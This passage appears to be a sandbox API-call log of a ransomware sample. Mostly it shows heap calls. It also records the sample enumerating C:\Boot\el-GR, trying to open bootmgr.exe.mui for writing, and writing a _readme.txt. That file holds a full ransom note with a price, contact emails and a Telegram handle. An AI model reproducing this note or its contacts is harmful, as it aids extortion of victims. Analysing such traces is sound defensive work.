(HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.982] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.982] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.982] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.983] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.983] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.986] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.986] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.986] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.986] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.986] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.986] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.986] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.986] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.986] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.986] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.986] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.986] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.986] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.986] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.986] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0266.986] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.986] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.986] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.986] PathFindFileNameW (pszPath="") returned="" [0266.986] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.986] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.987] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.987] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.987] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.987] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.987] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.987] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.987] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0266.987] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.987] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0266.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0266.988] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.988] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.988] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.988] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.988] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.988] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.988] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0266.988] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.989] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.989] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0266.989] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.989] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0266.989] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.989] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.989] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.989] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.989] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.989] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.989] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.992] HeapFree (in: hHeap=0x640000, 